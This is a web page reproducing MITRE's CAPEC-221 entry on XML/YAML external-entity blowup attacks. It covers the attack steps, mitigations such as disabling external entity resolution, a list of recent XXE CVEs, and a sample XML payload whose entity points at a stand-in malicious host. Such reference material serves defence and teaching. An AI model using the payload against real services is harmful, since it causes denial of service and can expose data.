CAPEC-221
Data Serialization External Entities Blowup
This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.
On this page
Ask an AI about this attack pattern
Show the prompt
Explain the attack pattern CAPEC-221: Data Serialization External Entities Blowup: how it unfolds, what it needs and how to prevent and detect it in my systems. Use https://capec.mitre.org/data/definitions/221.html and https://cve.bz/cve/capec/221?via=ask-ai-copy, which lists recent CVEs with the weaknesses it exploits. Cite the sources.Opens a third-party assistant; its answer is its own, not cve.bz's. The prompt holds only this attack pattern's id and public links.
How the attack unfolds
Explore
The attacker looks for a way in.
[Find target web service] The adversary must first find a web service that takes input data in the form of a serialized language such as XML or YAML.
Experiment
They probe what they found.
[Host malicious file on a server] The adversary will create a web server that contains a malicious file. This file will be extremely large, so that if a web service were to try to load it, the service would most likely hang.
[Craft malicious data] Using the serialization language that the web service takes as input, the adversary will craft data that links to the malicious file using an external entity reference to the URL of the file.
Exploit
They carry out the attack.
[Send serialized data containing URI] The adversary will send specially crafted serialized data to the web service. When the web service loads the input, it will attempt to download the malicious file. Depending on the amount of memory the web service has, this could either crash the service or cause it to hang, resulting in a Denial of Service attack.
Prerequisites
A server that has an implementation that accepts entities containing URI values.
Consequences
| Impact | Affects | Note |
|---|---|---|
| Resource Consumption | Availability | |
| Execute Unauthorized Commands | Confidentiality, Integrity, Availability | Run Arbitrary Code |
Mitigations
This attack may be mitigated by tweaking the XML parser to not resolve external entities. If external entities are needed, then implement a custom XmlResolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.
This attack may be mitigated by tweaking the serialized data parser to not resolve external entities. If external entities are needed, then implement a custom resolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.
Weaknesses it exploits
- CWE-611 Improper Restriction of XML External Entity Reference
Recent CVEs with these weaknesses
- 9.1CVE-2026-109798
SAP BusinessObjects Business Intelligence Platform (Web Intelligence) does not properly restrict external entity resolution when processing OLAP connection requests. An authenticated attacker could exploit this vulnerability to access rest…
- 7.2CVE-2026-118468
XML parsers process attacker-influenced update manifests or network responses with external entity resolution enabled, potentially allowing XML External Entity (XXE) attacks.
- –CVE-2026-120761
Improper Restriction of XML External Entity Reference vulnerability in Apache Axis2/Java. When a client built an AxisService from a WSDL URL, through ServiceClient or AxisService.createClientSideAxisService, wsdl4j import resolution was en…
- 5.0CVE-2026-80435
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection flaw.
- 8.2CVE-2026-17323
IBM API Connect 12.1.0.0 through 12.1.1.2 could allow a remote attacker to obtain sensitive information due to XML external entity (XXE) injection.
- 9.9CVE-2026-16884
IBM API Connect 12.1.0.0 through 12.1.1.2 could allow a remote attacker to obtain sensitive information due to an XML external entity (XXE) injection.
- 2.3CVE-2026-123824
The Symfony Config component XmlUtils::parse() enables DTD validation before rejecting documents that carry a doctype, allowing XML external entity (XXE) injection in Symfony versions prior to 5.4.56, 6.x prior to 6.4.50, 7.x prior to 7.4.…
- 4.3CVE-2026-123857
In JetBrains PhpStorm before 2026.3 xXE was possible in untrusted projects via PHPMD ruleset autodetection
The newest records naming one of them. Each weakness's page lists them all.
Related attack patterns
Examples
In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker cont…
In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker controls the server and writes a massive amount of data to the response stream. In this example the malicious URI is a large file transfer.
<?xml version="1.0"?>
<!DOCTYPE bomb [
<!ENTITY detonate SYSTEM "http://www.malicious-badguy.com/myhugefile.exe">
]>
<bomb>&detonate;</bomb>MITRE's words, unchanged: CAPEC-221 at MITRE. CAPEC is Copyright © 2007–2026, The MITRE Corporation, used under the CAPEC terms of use: “The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use Common Attack Pattern Enumeration and Classification (CAPEC™) for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE’s copyright designation and this license in any such copy.” CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Credits. All attack patterns.